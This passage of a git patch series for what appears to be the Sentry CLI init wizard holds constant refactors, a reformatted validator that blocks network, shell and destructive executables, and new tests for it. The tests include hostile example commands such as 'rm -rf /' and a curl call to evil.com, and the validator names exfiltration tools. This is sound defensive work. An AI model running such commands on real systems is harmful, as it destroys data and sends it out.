EXIT_PLATFORM_NOT_DETECTED) { log.warn( "Hint: Could not detect your project's platform. Check that the directory contains a valid project." ); - } else if (exitCode === 30) { + } else if (exitCode === EXIT_DEPENDENCY_INSTALL_FAILED) { const commands = inner?.commands as string[] | undefined; if (commands?.length) { log.warn( `You can install dependencies manually:\n${commands.map((cmd) => ` $ ${cmd}`).join("\n")}` ); } - } else if (exitCode === 50) { + } else if (exitCode === EXIT_VERIFICATION_FAILED) { log.warn("Hint: Fix the verification issues and run 'sentry init' again."); } diff --git a/src/lib/init/interactive.ts b/src/lib/init/interactive.ts index 6662e176..6fe9013c 100644 --- a/src/lib/init/interactive.ts +++ b/src/lib/init/interactive.ts @@ -9,6 +9,7 @@ import { confirm, log, multiselect, select } from "@clack/prompts"; import chalk from "chalk"; import { abortIfCancelled, featureHint, featureLabel } from "./clack-utils.js"; +import { REQUIRED_FEATURE } from "./constants.js"; import type { InteractivePayload, WizardOptions } from "./types.js"; export async function handleInteractive( @@ -84,8 +85,7 @@ async function handleMultiSelect( return { features: [] }; } - const requiredFeature = "errorMonitoring"; - const hasRequired = available.includes(requiredFeature); + const hasRequired = available.includes(REQUIRED_FEATURE); if (options.yes) { log.info( @@ -94,12 +94,12 @@ async function handleMultiSelect( return { features: available }; } - const optional = available.filter((f) => f !== requiredFeature); + const optional = available.filter((f) => f !== REQUIRED_FEATURE); const hints: string[] = []; if (hasRequired) { hints.push( - chalk.dim(` ${featureLabel(requiredFeature)} is always included`) + chalk.dim(` ${featureLabel(REQUIRED_FEATURE)} is always included`) ); } hints.push(chalk.dim(" space=toggle, a=all, enter=confirm")); @@ -116,8 +116,8 @@ async function handleMultiSelect( }); const chosen = abortIfCancelled(selected); - if (hasRequired && !chosen.includes(requiredFeature)) { - chosen.unshift(requiredFeature); + if (hasRequired && !chosen.includes(REQUIRED_FEATURE)) { + chosen.unshift(REQUIRED_FEATURE); } return { features: chosen }; diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index b2593be1..c85ffa11 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -11,7 +11,7 @@ import path from "node:path"; import { DEFAULT_COMMAND_TIMEOUT_MS, MAX_FILE_BYTES, - MAX_STDOUT_BYTES, + MAX_OUTPUT_BYTES, } from "./constants.js"; import type { ApplyPatchsetPayload, @@ -298,14 +298,14 @@ function runSingleCommand( let stderrLen = 0; child.stdout.on("data", (chunk: Buffer) => { - if (stdoutLen < MAX_STDOUT_BYTES) { + if (stdoutLen < MAX_OUTPUT_BYTES) { stdoutChunks.push(chunk); stdoutLen += chunk.length; } }); child.stderr.on("data", (chunk: Buffer) => { - if (stderrLen < MAX_STDOUT_BYTES) { + if (stderrLen < MAX_OUTPUT_BYTES) { stderrChunks.push(chunk); stderrLen += chunk.length; } @@ -323,10 +323,10 @@ function runSingleCommand( child.on("close", (code) => { const stdout = Buffer.concat(stdoutChunks) .toString("utf-8") - .slice(0, MAX_STDOUT_BYTES); + .slice(0, MAX_OUTPUT_BYTES); const stderr = Buffer.concat(stderrChunks) .toString("utf-8") - .slice(0, MAX_STDOUT_BYTES); + .slice(0, MAX_OUTPUT_BYTES); resolve({ command, exitCode: code ?? 1, stdout, stderr }); }); }); diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts index 9add1df9..439e5810 100644 --- a/src/lib/init/types.ts +++ b/src/lib/init/types.ts @@ -11,7 +11,7 @@ export type WizardOptions = { stdin: NodeJS.ReadStream & { fd: 0 }; }; -// ── Local-op suspend payloads ────────────────────────────── +// Local-op suspend payloads export type LocalOpPayload = | ListDirPayload @@ -80,7 +80,7 @@ export type LocalOpResult = { data?: unknown; }; -// ── Interactive suspend payloads ─────────────────────────── +// Interactive suspend payloads export type InteractivePayload = { type: "interactive"; @@ -89,7 +89,7 @@ export type InteractivePayload = { [key: string]: unknown; }; -// ── Workflow run result ──────────────────────────────────── +// Workflow run result export type WorkflowRunResult = { status: "suspended" | "success" | "failed"; diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 395808eb..ea38246f 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -13,7 +13,12 @@ import { CLI_VERSION } from "../constants.js"; import { getAuthToken } from "../db/auth.js"; import { formatBanner } from "../help.js"; import { STEP_LABELS, WizardCancelledError } from "./clack-utils.js"; -import { MASTRA_API_URL, SENTRY_DOCS_URL, WORKFLOW_ID } from "./constants.js"; +import { + MASTRA_API_URL, + SENTRY_DOCS_URL, + VERIFY_CHANGES_STEP, + WORKFLOW_ID, +} from "./constants.js"; import { formatError, formatResult } from "./formatters.js"; import { handleInteractive } from "./interactive.js"; import { handleLocalOp } from "./local-ops.js"; @@ -24,12 +29,12 @@ import type { WorkflowRunResult, } from "./types.js"; -type StepSpinner = ReturnType; +type Spinner = ReturnType; type StepContext = { payload: unknown; stepId: string; - s: StepSpinner; + spin: Spinner; options: WizardOptions; }; @@ -47,7 +52,7 @@ async function handleSuspendedStep( ctx: StepContext, stepPhases: Map ): Promise> { - const { payload, stepId, s, options } = ctx; + const { payload, stepId, spin, options } = ctx; const { type: payloadType, operation } = payload as { type: string; operation?: string; @@ -56,7 +61,7 @@ async function handleSuspendedStep( if (payloadType === "local-op") { const detail = operation ? ` (${operation})` : ""; - s.message(`${label}${detail}...`); + spin.message(`${label}${detail}...`); const localResult = await handleLocalOp(payload as LocalOpPayload, options); @@ -69,21 +74,21 @@ async function handleSuspendedStep( if (payloadType === "interactive") { // In dry-run mode, verification always fails because no files were written // (the server skips apply-patchset). Auto-continue since this is expected. - if (options.dryRun && stepId === "verify-changes") { + if (options.dryRun && stepId === VERIFY_CHANGES_STEP) { return { action: "continue", _phase: nextPhase(stepPhases, stepId, ["apply"]), }; } - s.stop(label); + spin.stop(label); const interactiveResult = await handleInteractive( payload as InteractivePayload, options ); - s.start("Processing..."); + spin.start("Processing..."); return { ...interactiveResult, @@ -91,7 +96,7 @@ async function handleSuspendedStep( }; } - s.stop("Error", 1); + spin.stop("Error", 1); log.error(`Unknown suspend payload type "${payloadType}"`); cancel("Setup failed"); throw new WizardCancelledError(); @@ -144,17 +149,17 @@ export async function runWizard(options: WizardOptions): Promise { const workflow = client.getWorkflow(WORKFLOW_ID); const run = await workflow.createRun(); - const s = spinner(); + const spin = spinner(); let result: WorkflowRunResult; try { - s.start("Connecting to wizard..."); + spin.start("Connecting to wizard..."); result = (await run.startAsync({ inputData: { directory, force, yes, dryRun, features }, tracingOptions, })) as WorkflowRunResult; } catch (err) { - s.stop("Connection failed", 1); + spin.stop("Connection failed", 1); log.error(errorMessage(err)); cancel("Setup failed"); return; @@ -169,14 +174,14 @@ export async function runWizard(options: WizardOptions): Promise { const payload = extractSuspendPayload(result, stepId); if (!payload) { - s.stop("Error", 1); + spin.stop("Error", 1); log.error(`No suspend payload found for step "${stepId}"`); cancel("Setup failed"); return; } const resumeData = await handleSuspendedStep( - { payload, stepId, s, options }, + { payload, stepId, spin, options }, stepPhases ); @@ -190,25 +195,25 @@ export async function runWizard(options: WizardOptions): Promise { if (err instanceof WizardCancelledError) { return; } - s.stop("Cancelled", 1); + spin.stop("Cancelled", 1); log.error(errorMessage(err)); cancel("Setup failed"); return; } - handleFinalResult(result, s); + handleFinalResult(result, spin); } -function handleFinalResult(result: WorkflowRunResult, s: StepSpinner): void { +function handleFinalResult(result: WorkflowRunResult, spin: Spinner): void { const output = result as unknown as Record; const inner = (output.result as Record) ?? output; const hasError = result.status !== "success" || inner.exitCode; if (hasError) { - s.stop("Failed", 1); + spin.stop("Failed", 1); formatError(output); } else { - s.stop("Done"); + spin.stop("Done"); formatResult(output); } } From 441ea885d40a37a956d7baa6a764dd11e2480a9c Mon Sep 17 00:00:00 2001 From: betegon Date: Fri, 27 Feb 2026 19:28:13 +0100 Subject: [PATCH 33/72] fix: resolve lint and format errors in local-ops - Move regex to top-level constant (useTopLevelRegex) - Remove unused template literal (noUnusedTemplateLiteral) - Replace explicit `return undefined` with bare `return` (noUselessUndefined) - Apply formatter to both source and test files Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 82 ++++++++++++++++++++++++--------- test/lib/init/local-ops.test.ts | 8 +++- 2 files changed, 65 insertions(+), 25 deletions(-) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index c85ffa11..429bea2f 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -28,40 +28,76 @@ import type { * Shell metacharacters that enable chaining, piping, substitution, or redirection. * All legitimate install commands are simple single commands that don't need these. */ -const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = [ - { pattern: ";", label: "command chaining (;)" }, - // Check multi-char operators before single `|` so labels are accurate - { pattern: "&&", label: "command chaining (&&)" }, - { pattern: "||", label: "command chaining (||)" }, - { pattern: "|", label: "piping (|)" }, - { pattern: "`", label: "command substitution (`)" }, - { pattern: "$(", label: "command substitution ($()" }, - { pattern: "\n", label: "newline" }, - { pattern: "\r", label: "carriage return" }, -]; +const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = + [ + { pattern: ";", label: "command chaining (;)" }, + // Check multi-char operators before single `|` so labels are accurate + { pattern: "&&", label: "command chaining (&&)" }, + { pattern: "||", label: "command chaining (||)" }, + { pattern: "|", label: "piping (|)" }, + { pattern: "`", label: "command substitution (`)" }, + { pattern: "$(", label: "command substitution ($()" }, + { pattern: "\n", label: "newline" }, + { pattern: "\r", label: "carriage return" }, + ]; + +const WHITESPACE_RE = /\s+/; /** * Executables that should never appear in a package install command. */ const BLOCKED_EXECUTABLES = new Set([ // Destructive - "rm", "rmdir", "del", + "rm", + "rmdir", + "del", // Network/exfil - "curl", "wget", "nc", "ncat", "netcat", "socat", "telnet", "ftp", + "curl", + "wget", + "nc", + "ncat", + "netcat", + "socat", + "telnet", + "ftp", // Privilege escalation - "sudo", "su", "doas", + "sudo", + "su", + "doas", // Permissions - "chmod", "chown", "chgrp", + "chmod", + "chown", + "chgrp", // Process/system - "kill", "killall", "pkill", "shutdown", "reboot", "halt", "poweroff", + "kill", + "killall", + "pkill", + "shutdown", + "reboot", + "halt", + "poweroff", // Disk - "dd", "mkfs", "fdisk", "mount", "umount", + "dd", + "mkfs", + "fdisk", + "mount", + "umount", // Remote access - "ssh", "scp", "sftp", + "ssh", + "scp", + "sftp", // Shells - "bash", "sh", "zsh", "fish", "csh", "dash", + "bash", + "sh", + "zsh", + "fish", + "csh", + "dash", // Misc dangerous - "eval", "exec", "env", "xargs", + "eval", + "exec", + "env", + "xargs", ]); /** @@ -77,16 +113,16 @@ export function validateCommand(command: string): string | undefined { } // Layer 2: Block dangerous executables - const firstToken = command.trimStart().split(/\s+/)[0]; + const firstToken = command.trimStart().split(WHITESPACE_RE)[0]; if (!firstToken) { - return `Blocked command: empty command`; + return "Blocked command: empty command"; } const executable = path.basename(firstToken); if (BLOCKED_EXECUTABLES.has(executable)) { return `Blocked command: disallowed executable "${executable}" — "${command}"`; } - return undefined; + return; } /** diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index b6b8d8d6..9a5a186e 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -64,12 +64,16 @@ describe("validateCommand", () => { test("resolves path-prefixed executables", () => { // Safe executables with paths pass - expect(validateCommand("./venv/bin/pip install sentry-sdk")).toBeUndefined(); + expect( + validateCommand("./venv/bin/pip install sentry-sdk") + ).toBeUndefined(); expect(validateCommand("/usr/local/bin/npm install foo")).toBeUndefined(); // Dangerous executables with paths are still blocked expect(validateCommand("./venv/bin/rm -rf /")).toContain('"rm"'); - expect(validateCommand("/usr/bin/curl https://evil.com")).toContain('"curl"'); + expect(validateCommand("/usr/bin/curl https://evil.com")).toContain( + '"curl"' + ); }); test("blocks empty and whitespace-only commands", () => { From 184dff65c709e5ee89e6e510124f509510e64122 Mon Sep 17 00:00:00 2001 From: betegon Date: Fri, 27 Feb 2026 20:28:34 +0100 Subject: [PATCH 34/72] test(init): add comprehensive tests for init wizard coverage Add tests for local-ops (FS operations, command execution, patchset application), formatters (result/error display), help (banner/custom help output), interactive prompts (select/multiselect/confirm), and wizard-runner (TTY check, success/error paths, suspend/resume loop). Co-Authored-By: Claude Opus 4.6 --- test/isolated/init-interactive.test.ts | 298 +++++++++++ test/isolated/init-wizard-runner.test.ts | 351 +++++++++++++ test/lib/help.test.ts | 113 +++++ test/lib/init/formatters.test.ts | 171 +++++++ test/lib/init/local-ops.test.ts | 611 ++++++++++++++++++++++- 5 files changed, 1542 insertions(+), 2 deletions(-) create mode 100644 test/isolated/init-interactive.test.ts create mode 100644 test/isolated/init-wizard-runner.test.ts create mode 100644 test/lib/help.test.ts create mode 100644 test/lib/init/formatters.test.ts diff --git a/test/isolated/init-interactive.test.ts b/test/isolated/init-interactive.test.ts new file mode 100644 index 00000000..c914f3e1 --- /dev/null +++ b/test/isolated/init-interactive.test.ts @@ -0,0 +1,298 @@ +/** + * Isolated tests for init wizard interactive prompts. + * + * Uses mock.module() to stub @clack/prompts — kept isolated so the + * module-level mock does not leak into other test files. + */ + +import { beforeEach, describe, expect, mock, test } from "bun:test"; +import type { WizardOptions } from "../../src/lib/init/types.js"; + +// Controllable mock implementations — reset per test via beforeEach +let selectImpl: ReturnType; +let multiselectImpl: ReturnType; +let confirmImpl: ReturnType; +const logMock = { info: mock(), error: mock(), warn: mock() }; +const cancelMock = mock(); + +mock.module("@clack/prompts", () => ({ + select: (...args: unknown[]) => selectImpl(...args), + multiselect: (...args: unknown[]) => multiselectImpl(...args), + confirm: (...args: unknown[]) => confirmImpl(...args), + log: logMock, + cancel: (...args: unknown[]) => cancelMock(...args), + isCancel: (v: unknown) => v === Symbol.for("cancel"), + note: mock(), + outro: mock(), + intro: mock(), + spinner: () => ({ start: mock(), stop: mock(), message: mock() }), +})); + +const { handleInteractive } = await import("../../src/lib/init/interactive.js"); + +function makeOptions(overrides?: Partial): WizardOptions { + return { + directory: "/tmp/test", + force: false, + yes: false, + dryRun: false, + stdout: { write: () => true }, + stderr: { write: () => true }, + stdin: process.stdin, + ...overrides, + }; +} + +beforeEach(() => { + selectImpl = mock(() => Promise.resolve("default")); + multiselectImpl = mock(() => Promise.resolve([])); + confirmImpl = mock(() => Promise.resolve(true)); + logMock.info.mockClear(); + logMock.error.mockClear(); + logMock.warn.mockClear(); + cancelMock.mockClear(); +}); + +describe("handleInteractive dispatcher", () => { + test("returns cancelled for unknown kind", async () => { + const result = await handleInteractive( + { type: "interactive", prompt: "test", kind: "unknown" as "select" }, + makeOptions() + ); + expect(result).toEqual({ cancelled: true }); + }); +}); + +describe("handleSelect", () => { + test("auto-selects single option with --yes", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: ["my-app"], + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ selectedApp: "my-app" }); + expect(logMock.info).toHaveBeenCalled(); + }); + + test("cancels with --yes when multiple options exist", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: ["react", "vue"], + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ cancelled: true }); + expect(logMock.error).toHaveBeenCalled(); + }); + + test("cancels when options list is empty", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: [], + }, + makeOptions() + ); + + expect(result).toEqual({ cancelled: true }); + }); + + test("uses apps array names when options not provided", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + apps: [{ name: "express-app", path: "/app", framework: "Express" }], + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ selectedApp: "express-app" }); + }); + + test("calls clack select in interactive mode", async () => { + selectImpl = mock(() => Promise.resolve("vue")); + + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: ["react", "vue"], + }, + makeOptions({ yes: false }) + ); + + expect(result).toEqual({ selectedApp: "vue" }); + expect(selectImpl).toHaveBeenCalled(); + }); + + test("throws WizardCancelledError on user cancellation", async () => { + selectImpl = mock(() => Promise.resolve(Symbol.for("cancel"))); + + await expect( + handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: ["react", "vue"], + }, + makeOptions({ yes: false }) + ) + ).rejects.toThrow("Setup cancelled"); + }); +}); + +describe("handleMultiSelect", () => { + test("auto-selects all features with --yes", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: [ + "errorMonitoring", + "performanceMonitoring", + "sessionReplay", + ], + }, + makeOptions({ yes: true }) + ); + + expect(result.features).toEqual([ + "errorMonitoring", + "performanceMonitoring", + "sessionReplay", + ]); + }); + + test("returns empty features when none available", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: [], + }, + makeOptions() + ); + + expect(result).toEqual({ features: [] }); + }); + + test("prepends errorMonitoring when available but not user-selected", async () => { + // User selects only sessionReplay, but errorMonitoring is available (required) + multiselectImpl = mock(() => Promise.resolve(["sessionReplay"])); + + const result = await handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: [ + "errorMonitoring", + "performanceMonitoring", + "sessionReplay", + ], + }, + makeOptions({ yes: false }) + ); + + const features = result.features as string[]; + expect(features[0]).toBe("errorMonitoring"); + expect(features).toContain("sessionReplay"); + }); + + test("excludes errorMonitoring from multiselect options (always included)", async () => { + multiselectImpl = mock(() => Promise.resolve(["performanceMonitoring"])); + + await handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: ["errorMonitoring", "performanceMonitoring"], + }, + makeOptions({ yes: false }) + ); + + // The options passed to multiselect should NOT include errorMonitoring + const callArgs = multiselectImpl.mock.calls[0][0] as { + options: Array<{ value: string }>; + }; + const values = callArgs.options.map((o: { value: string }) => o.value); + expect(values).not.toContain("errorMonitoring"); + expect(values).toContain("performanceMonitoring"); + }); +}); + +describe("handleConfirm", () => { + test("auto-confirms with addExample when prompt contains 'example' and --yes", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Add an example error trigger?", + kind: "confirm", + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ addExample: true }); + }); + + test("auto-confirms with action: continue for non-example prompts with --yes", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Continue with setup?", + kind: "confirm", + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ action: "continue" }); + }); + + test("returns addExample based on user choice for example prompts", async () => { + confirmImpl = mock(() => Promise.resolve(false)); + + const result = await handleInteractive( + { + type: "interactive", + prompt: "Add an example error trigger?", + kind: "confirm", + }, + makeOptions({ yes: false }) + ); + + expect(result).toEqual({ addExample: false }); + }); + + test("returns action: stop when user declines non-example prompt", async () => { + confirmImpl = mock(() => Promise.resolve(false)); + + const result = await handleInteractive( + { + type: "interactive", + prompt: "Continue with setup?", + kind: "confirm", + }, + makeOptions({ yes: false }) + ); + + expect(result).toEqual({ action: "stop" }); + }); +}); diff --git a/test/isolated/init-wizard-runner.test.ts b/test/isolated/init-wizard-runner.test.ts new file mode 100644 index 00000000..be452c0a --- /dev/null +++ b/test/isolated/init-wizard-runner.test.ts @@ -0,0 +1,351 @@ +/** + * Isolated tests for the init wizard runner. + * + * Uses mock.module() to stub heavy dependencies (MastraClient, clack, handlers, + * auth, help). Kept isolated to avoid module-level mock leakage. + */ + +import { beforeEach, describe, expect, mock, spyOn, test } from "bun:test"; +import type { + WizardOptions, + WorkflowRunResult, +} from "../../src/lib/init/types.js"; + +// ── Clack mocks ──────────────────────────────────────────────────────────── +const spinnerMock = { + start: mock(), + stop: mock(), + message: mock(), +}; +const introMock = mock(); +const logMock = { info: mock(), warn: mock(), error: mock() }; +const cancelMock = mock(); + +mock.module("@clack/prompts", () => ({ + spinner: () => spinnerMock, + intro: introMock, + log: logMock, + cancel: cancelMock, + note: mock(), + outro: mock(), + select: mock(), + multiselect: mock(), + confirm: mock(), + isCancel: (v: unknown) => v === Symbol.for("cancel"), +})); + +// ── Handler mocks ────────────────────────────────────────────────────────── +const mockHandleLocalOp = mock(() => + Promise.resolve({ ok: true, data: { results: [] } }) +); +mock.module("../../src/lib/init/local-ops.js", () => ({ + handleLocalOp: mockHandleLocalOp, + validateCommand: () => { + /* noop mock */ + }, +})); + +const mockHandleInteractive = mock(() => + Promise.resolve({ action: "continue" }) +); +mock.module("../../src/lib/init/interactive.js", () => ({ + handleInteractive: mockHandleInteractive, +})); + +const mockFormatResult = mock(); +const mockFormatError = mock(); +mock.module("../../src/lib/init/formatters.js", () => ({ + formatResult: mockFormatResult, + formatError: mockFormatError, +})); + +mock.module("../../src/lib/db/auth.js", () => ({ + getAuthToken: () => "fake-token", + isAuthenticated: () => Promise.resolve(false), +})); + +mock.module("../../src/lib/help.js", () => ({ + formatBanner: () => "BANNER", +})); + +// ── MastraClient mock ────────────────────────────────────────────────────── +let mockStartResult: WorkflowRunResult = { status: "success" }; +let mockResumeResults: WorkflowRunResult[] = []; +let resumeCallCount = 0; +let startShouldThrow = false; + +mock.module("@mastra/client-js", () => ({ + MastraClient: class { + getWorkflow() { + return { + createRun: () => + Promise.resolve({ + startAsync: () => { + if (startShouldThrow) { + return Promise.reject(new Error("Connection refused")); + } + return Promise.resolve(mockStartResult); + }, + resumeAsync: () => { + const result = mockResumeResults[resumeCallCount] ?? { + status: "success", + }; + resumeCallCount += 1; + return Promise.resolve(result); + }, + }), + }; + } + }, +})); + +const { runWizard } = await import("../../src/lib/init/wizard-runner.js"); + +function makeOptions(overrides?: Partial): WizardOptions { + return { + directory: "/tmp/test", + force: false, + yes: true, // default to --yes to avoid TTY check + dryRun: false, + stdout: { write: () => true }, + stderr: { write: () => true }, + stdin: process.stdin, + ...overrides, + }; +} + +function resetAllMocks() { + spinnerMock.start.mockClear(); + spinnerMock.stop.mockClear(); + spinnerMock.message.mockClear(); + introMock.mockClear(); + logMock.info.mockClear(); + logMock.warn.mockClear(); + logMock.error.mockClear(); + cancelMock.mockClear(); + mockHandleLocalOp.mockClear(); + mockHandleInteractive.mockClear(); + mockFormatResult.mockClear(); + mockFormatError.mockClear(); + + mockStartResult = { status: "success" }; + mockResumeResults = []; + resumeCallCount = 0; + startShouldThrow = false; +} + +describe("runWizard", () => { + beforeEach(resetAllMocks); + + describe("TTY check", () => { + test("writes error to stderr when not TTY and not --yes", async () => { + const origIsTTY = process.stdin.isTTY; + Object.defineProperty(process.stdin, "isTTY", { + value: false, + configurable: true, + }); + + const stderrSpy = spyOn(process.stderr, "write"); + + await runWizard(makeOptions({ yes: false })); + + Object.defineProperty(process.stdin, "isTTY", { + value: origIsTTY, + configurable: true, + }); + + const written = stderrSpy.mock.calls.map((c) => String(c[0])).join(""); + stderrSpy.mockRestore(); + + expect(written).toContain("Interactive mode requires a terminal"); + + // Clean up the exitCode set by the wizard + process.exitCode = 0; + }); + }); + + describe("success path", () => { + test("calls formatResult when workflow completes successfully", async () => { + mockStartResult = { status: "success", result: { platform: "React" } }; + + await runWizard(makeOptions()); + + expect(mockFormatResult).toHaveBeenCalled(); + expect(mockFormatError).not.toHaveBeenCalled(); + }); + }); + + describe("error paths", () => { + test("calls formatError when workflow fails", async () => { + mockStartResult = { status: "failed", error: "workflow exploded" }; + + await runWizard(makeOptions()); + + expect(mockFormatError).toHaveBeenCalled(); + expect(mockFormatResult).not.toHaveBeenCalled(); + }); + + test("treats success with exitCode as error", async () => { + mockStartResult = { + status: "success", + result: { exitCode: 10 } as unknown, + }; + + await runWizard(makeOptions()); + + expect(mockFormatError).toHaveBeenCalled(); + }); + + test("handles connection error gracefully", async () => { + startShouldThrow = true; + + await runWizard(makeOptions()); + + expect(logMock.error).toHaveBeenCalledWith("Connection refused"); + expect(cancelMock).toHaveBeenCalledWith("Setup failed"); + }); + }); + + describe("suspend/resume loop", () => { + test("dispatches local-op payload to handleLocalOp", async () => { + mockStartResult = { + status: "suspended", + suspended: [["detect-platform"]], + steps: { + "detect-platform": { + suspendPayload: { + type: "local-op", + operation: "list-dir", + cwd: "/app", + params: { path: "." }, + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(mockHandleLocalOp).toHaveBeenCalled(); + const payload = mockHandleLocalOp.mock.calls[0][0] as { + type: string; + operation: string; + }; + expect(payload.type).toBe("local-op"); + expect(payload.operation).toBe("list-dir"); + }); + + test("dispatches interactive payload to handleInteractive", async () => { + mockStartResult = { + status: "suspended", + suspended: [["select-features"]], + steps: { + "select-features": { + suspendPayload: { + type: "interactive", + kind: "multi-select", + prompt: "Select features", + availableFeatures: ["errorMonitoring"], + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(mockHandleInteractive).toHaveBeenCalled(); + const payload = mockHandleInteractive.mock.calls[0][0] as { + type: string; + kind: string; + }; + expect(payload.type).toBe("interactive"); + expect(payload.kind).toBe("multi-select"); + }); + + test("falls back to result.suspendPayload when step payload missing", async () => { + mockStartResult = { + status: "suspended", + suspended: [["unknown-step"]], + steps: {}, + suspendPayload: { + type: "local-op", + operation: "read-files", + cwd: "/app", + params: { paths: ["package.json"] }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(mockHandleLocalOp).toHaveBeenCalled(); + }); + + test("auto-continues verify-changes in dry-run mode", async () => { + mockStartResult = { + status: "suspended", + suspended: [["verify-changes"]], + steps: { + "verify-changes": { + suspendPayload: { + type: "interactive", + kind: "confirm", + prompt: "Changes look good?", + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions({ dryRun: true })); + + // handleInteractive should NOT be called — dry-run auto-continues + expect(mockHandleInteractive).not.toHaveBeenCalled(); + }); + + test("handles unknown suspend payload type", async () => { + mockStartResult = { + status: "suspended", + suspended: [["some-step"]], + steps: { + "some-step": { + suspendPayload: { type: "alien", data: 42 }, + }, + }, + }; + + await runWizard(makeOptions()); + + expect(logMock.error).toHaveBeenCalled(); + const errorMsg: string = logMock.error.mock.calls[0][0]; + expect(errorMsg).toContain("alien"); + }); + + test("handles missing suspend payload", async () => { + mockStartResult = { + status: "suspended", + suspended: [["empty-step"]], + steps: {}, + }; + + await runWizard(makeOptions()); + + expect(logMock.error).toHaveBeenCalled(); + const errorMsg: string = logMock.error.mock.calls[0][0]; + expect(errorMsg).toContain("No suspend payload"); + }); + }); + + describe("dry-run mode", () => { + test("shows dry-run warning on start", async () => { + mockStartResult = { status: "success" }; + + await runWizard(makeOptions({ dryRun: true })); + + expect(logMock.warn).toHaveBeenCalled(); + const warnMsg: string = logMock.warn.mock.calls[0][0]; + expect(warnMsg).toContain("Dry-run"); + }); + }); +}); diff --git a/test/lib/help.test.ts b/test/lib/help.test.ts new file mode 100644 index 00000000..61315f1d --- /dev/null +++ b/test/lib/help.test.ts @@ -0,0 +1,113 @@ +/** + * Help Output Tests + * + * Tests for the branded CLI help output including the ASCII banner, + * command generation from routes, and contextual examples. + */ + +import { describe, expect, test } from "bun:test"; +import { formatBanner, printCustomHelp } from "../../src/lib/help.js"; +import { useTestConfigDir } from "../helpers.js"; + +/** Strip ANSI escape sequences for content assertions */ +// biome-ignore lint/suspicious/noControlCharactersInRegex: ANSI escape codes use control chars by definition +const ANSI_RE = /\u001B\[[0-9;]*m/g; +function stripAnsi(str: string): string { + return str.replace(ANSI_RE, ""); +} + +describe("formatBanner", () => { + test("returns 6 rows matching the SENTRY ASCII art", () => { + const banner = formatBanner(); + const rows = banner.split("\n"); + expect(rows).toHaveLength(6); + }); + + test("contains the SENTRY block characters", () => { + const banner = stripAnsi(formatBanner()); + // The ASCII art spells out SENTRY using box-drawing chars + expect(banner).toContain("███████"); + }); + + test("is deterministic across calls", () => { + expect(formatBanner()).toBe(formatBanner()); + }); +}); + +describe("printCustomHelp", () => { + useTestConfigDir("help-test-"); + + test("writes output to the provided writer", async () => { + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + expect(chunks.length).toBeGreaterThan(0); + expect(chunks.join("").length).toBeGreaterThan(0); + }); + + test("output contains the tagline", async () => { + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + const output = stripAnsi(chunks.join("")); + expect(output).toContain("The command-line interface for Sentry"); + }); + + test("output contains registered commands", async () => { + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + const output = stripAnsi(chunks.join("")); + + // Should include at least some core commands from routes + expect(output).toContain("sentry"); + expect(output).toContain("auth"); + }); + + test("output contains docs URL", async () => { + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + const output = stripAnsi(chunks.join("")); + expect(output).toContain("cli.sentry.dev"); + }); + + test("shows login example when not authenticated", async () => { + // useTestConfigDir provides a clean env with no auth token + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + const output = stripAnsi(chunks.join("")); + expect(output).toContain("sentry auth login"); + }); +}); diff --git a/test/lib/init/formatters.test.ts b/test/lib/init/formatters.test.ts new file mode 100644 index 00000000..d518ae98 --- /dev/null +++ b/test/lib/init/formatters.test.ts @@ -0,0 +1,171 @@ +/** + * Formatters Tests + * + * Tests for the init wizard output formatters. Since formatResult and + * formatError write to clack's output, we capture calls via spyOn on + * the imported @clack/prompts module. + */ + +import { afterEach, beforeEach, describe, 